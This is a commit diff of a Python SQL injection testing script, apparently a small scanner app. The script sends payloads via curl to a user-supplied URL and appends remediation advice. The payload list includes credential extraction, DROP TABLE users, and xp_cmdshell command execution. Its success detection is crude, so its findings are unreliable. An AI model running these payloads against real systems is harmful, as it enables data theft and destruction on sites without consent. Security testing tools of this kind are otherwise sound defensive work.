Spaces:
Sleeping
Sleeping
Update sql_injection/sql_injection.py
Browse files- sql_injection/sql_injection.py +47 -23
sql_injection/sql_injection.py
CHANGED
|
@@ -1,54 +1,78 @@
|
|
| 1 |
import subprocess
|
| 2 |
import urllib.parse
|
|
|
|
|
|
|
| 3 |
|
| 4 |
def run_sqlmap(url: str):
|
| 5 |
"""
|
| 6 |
-
Test for SQL Injection vulnerabilities
|
| 7 |
Args:
|
| 8 |
url (str): The URL to test.
|
| 9 |
Returns:
|
| 10 |
-
tuple: Test results as
|
| 11 |
"""
|
| 12 |
try:
|
| 13 |
url = url.strip()
|
| 14 |
if not url.startswith(('http://', 'https://')):
|
| 15 |
-
return "
|
| 16 |
|
| 17 |
payloads = [
|
| 18 |
("' OR '1'='1 --", "Bypass login with always-true condition."),
|
| 19 |
-
("' UNION SELECT null, username, password FROM users --", "Extract
|
| 20 |
-
("'; DROP TABLE users; --", "
|
| 21 |
-
("' OR 'a'='a", "
|
| 22 |
-
("'; EXEC xp_cmdshell('dir') --", "Execute
|
| 23 |
-
("' AND 1=0 UNION ALL SELECT NULL, version(), current_user --", "
|
| 24 |
]
|
| 25 |
|
| 26 |
-
|
| 27 |
-
|
|
|
|
| 28 |
encoded_payload = urllib.parse.quote(payload)
|
| 29 |
full_url = f"{url}?id={encoded_payload}"
|
| 30 |
command = ['curl', '-X', 'GET', full_url]
|
| 31 |
-
|
| 32 |
result = subprocess.run(command, capture_output=True, text=True)
|
| 33 |
-
status_icon = "β
" if result.returncode == 0 else "β"
|
| 34 |
|
| 35 |
-
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
|
| 39 |
-
|
| 40 |
-
|
| 41 |
-
|
|
|
|
|
|
|
| 42 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 43 |
output_file = "./sql_injection_result.html"
|
| 44 |
with open(output_file, "w") as file:
|
| 45 |
-
file.write(
|
| 46 |
|
| 47 |
-
return
|
| 48 |
|
| 49 |
except Exception as e:
|
| 50 |
-
error_message = f"
|
| 51 |
-
error_file = "./sql_injection_error.
|
| 52 |
with open(error_file, "w") as file:
|
| 53 |
file.write(error_message)
|
| 54 |
return error_message, error_file
|
|
|
|
| 1 |
import subprocess
|
| 2 |
import urllib.parse
|
| 3 |
+
import os
|
| 4 |
+
|
| 5 |
|
| 6 |
def run_sqlmap(url: str):
|
| 7 |
"""
|
| 8 |
+
Test for SQL Injection vulnerabilities and provide explanations.
|
| 9 |
Args:
|
| 10 |
url (str): The URL to test.
|
| 11 |
Returns:
|
| 12 |
+
tuple: Test results as a string and the path to the results file.
|
| 13 |
"""
|
| 14 |
try:
|
| 15 |
url = url.strip()
|
| 16 |
if not url.startswith(('http://', 'https://')):
|
| 17 |
+
return "Invalid URL: Must start with http:// or https://", None
|
| 18 |
|
| 19 |
payloads = [
|
| 20 |
("' OR '1'='1 --", "Bypass login with always-true condition."),
|
| 21 |
+
("' UNION SELECT null, username, password FROM users --", "Extract user credentials via UNION SELECT."),
|
| 22 |
+
("'; DROP TABLE users; --", "Attempt to delete the users table."),
|
| 23 |
+
("' OR 'a'='a", "Bypass login with simple true condition."),
|
| 24 |
+
("'; EXEC xp_cmdshell('dir') --", "Execute system command on the server."),
|
| 25 |
+
("' AND 1=0 UNION ALL SELECT NULL, version(), current_user --", "Retrieve DB version and current user."),
|
| 26 |
]
|
| 27 |
|
| 28 |
+
results = ""
|
| 29 |
+
|
| 30 |
+
for payload, purpose in payloads:
|
| 31 |
encoded_payload = urllib.parse.quote(payload)
|
| 32 |
full_url = f"{url}?id={encoded_payload}"
|
| 33 |
command = ['curl', '-X', 'GET', full_url]
|
| 34 |
+
|
| 35 |
result = subprocess.run(command, capture_output=True, text=True)
|
|
|
|
| 36 |
|
| 37 |
+
success = "β
" if result.returncode == 0 and "login" not in result.stdout.lower() else "β"
|
| 38 |
+
|
| 39 |
+
results += f"{success} Payload: {payload}\n"
|
| 40 |
+
results += f"Purpose: {purpose}\n"
|
| 41 |
+
|
| 42 |
+
if success == "β
":
|
| 43 |
+
results += "Result: Potential vulnerability detected!\n"
|
| 44 |
+
else:
|
| 45 |
+
results += "Result: No vulnerability detected for this payload.\n"
|
| 46 |
|
| 47 |
+
results += "\nResponse Preview:\n" + result.stdout[:200] + "...\n\n"
|
| 48 |
+
|
| 49 |
+
# Explain the issue and potential fixes
|
| 50 |
+
if success == "β
":
|
| 51 |
+
results += "Explanation: The server responded positively to the payload, suggesting a possible vulnerability.\n"
|
| 52 |
+
if "1'='1" in payload:
|
| 53 |
+
results += "Issue: SQL injection allows login bypass.\n"
|
| 54 |
+
results += "Fix: Use prepared statements or ORM libraries to prevent SQL injection. Validate and sanitize user inputs.\n"
|
| 55 |
+
elif "DROP TABLE" in payload:
|
| 56 |
+
results += "Issue: SQL injection can delete critical tables.\n"
|
| 57 |
+
results += "Fix: Apply strict database permissions and input filtering.\n"
|
| 58 |
+
elif "xp_cmdshell" in payload:
|
| 59 |
+
results += "Issue: Remote code execution.\n"
|
| 60 |
+
results += "Fix: Disable dangerous SQL functions and limit server privileges.\n"
|
| 61 |
+
else:
|
| 62 |
+
results += "Issue: Data leakage or server exploitation.\n"
|
| 63 |
+
results += "Fix: Use Web Application Firewalls (WAFs) and keep software up to date.\n"
|
| 64 |
+
results += "\n"
|
| 65 |
+
|
| 66 |
+
# Save results to a file
|
| 67 |
output_file = "./sql_injection_result.html"
|
| 68 |
with open(output_file, "w") as file:
|
| 69 |
+
file.write(f"<html><body><pre>{results}</pre></body></html>")
|
| 70 |
|
| 71 |
+
return results, output_file
|
| 72 |
|
| 73 |
except Exception as e:
|
| 74 |
+
error_message = f"Error running SQL Injection test: {str(e)}"
|
| 75 |
+
error_file = "./sql_injection_error.txt"
|
| 76 |
with open(error_file, "w") as file:
|
| 77 |
file.write(error_message)
|
| 78 |
return error_message, error_file
|